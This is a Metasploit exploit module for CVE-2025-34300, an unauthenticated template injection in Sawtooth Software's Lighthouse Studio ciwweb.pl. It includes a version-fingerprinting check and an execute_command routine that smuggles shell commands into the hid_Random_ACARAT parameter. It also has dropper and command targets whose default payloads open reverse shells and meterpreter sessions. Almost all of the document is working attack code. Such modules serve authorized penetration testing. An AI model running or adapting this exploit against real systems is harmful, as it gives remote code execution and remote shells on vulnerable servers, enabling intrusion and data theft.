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class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => "Template Injection Vulnerability in Sawtooth Software's Lighthouse Studio (CVE-2025-34300)",
'Description' => %q{
This module exploits a template injection vulnerability in the
Sawtooth Software Lighthouse Studio's `ciwweb.pl` web application.
The application fails to properly sanitize user input within survey templates,
allowing unauthenticated attackers to inject and execute arbitrary Perl commands
on the target system.
This vulnerability affects Lighthouse Studio versions prior to 9.16.14.
Successful exploitation may result in remote code execution under the privileges
of the web server, potentially exposing sensitive data or disrupting survey operations.
An attacker can execute arbitrary system commands as the web server.
},
'License' => MSF_LICENSE,
'Author' => [
'Maksim Rogov',
'Adam Kues'
],
'References' => [
['CVE', '2025-34300'],
['URL', 'https://slcyber.io/assetnote-security-research-center/rce-in-the-most-popular-survey-software-youve-never-heard-of/']
],
'Platform' => ['multi'],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Linux Dropper',
{
'Platform' => ['linux'],
'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64],
'Type' => :nix_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
[
'Linux Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Type' => :nix_command,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
[
'Windows Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64],
'Type' => :windows_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => [ARCH_CMD],
'Type' => :windows_command,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-07-16',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Path to vulnerable ciwweb.pl', '/cgi-bin/ciwweb.pl']),
OptString.new('STUDYNAME', [false, 'Value for the hid_studyname GET parameter', '']),
OptString.new('WritableDir', [false, 'Writable directory for Windows Dropper', 'C:\\Windows\\Tasks\\'])
]
)
end
def check
print_status('Extracting version...')
vars = {
'hid_javascript' => '1'
}
vars['hid_studyname'] = datastore['STUDYNAME'] unless datastore['STUDYNAME'].strip.empty?
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'vars_get' => vars
)
return CheckCode::Unknown('No response from target') unless res
if res.body =~ /Lighthouse Studio (\d+_\d+_\d+)/
version_match = Regexp.last_match(1).to_s
version = Rex::Version.new(version_match.gsub('_', '.'))
print_status("Extracted version: #{version}")
return CheckCode::Appears if version < Rex::Version.new('9.16.14')
else
print_error("#{peer} - Unable to extract version number")
end
html = res.get_html_document
if html&.text&.include?('Lighthouse Studio')
return CheckCode::Detected
end
CheckCode::Safe
end
def execute_command(cmd, _opts = {})
cmd = Rex::Text.uri_encode(cmd).gsub('\\', '%5C').gsub('/', '%2F')
query = [
'hid_javascript=1',
"hid_Random_ACARAT=[%`#{cmd}`%]",
"hid_Random_ACARAT=#{Rex::Text.rand_text_alphanumeric(rand(3..5))}"
]
query << "hid_studyname=#{datastore['STUDYNAME']}" unless datastore['STUDYNAME'].strip.empty?
query_string = query.join('&')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'query' => query_string
})
if res
html = res.get_html_document
if html&.text&.include?('Cannot find default studyname')
fail_with(Failure::BadConfig, 'The STUDYNAME value is invalid')
end
end
end
def exploit
print_status('Uploading malicious payload...')
case target['Type']
when :windows_dropper
execute_cmdstager(temp: datastore['WritableDir'])
when :nix_dropper
execute_cmdstager
when :windows_command, :nix_command
execute_command(payload.encoded)
end
end
end
|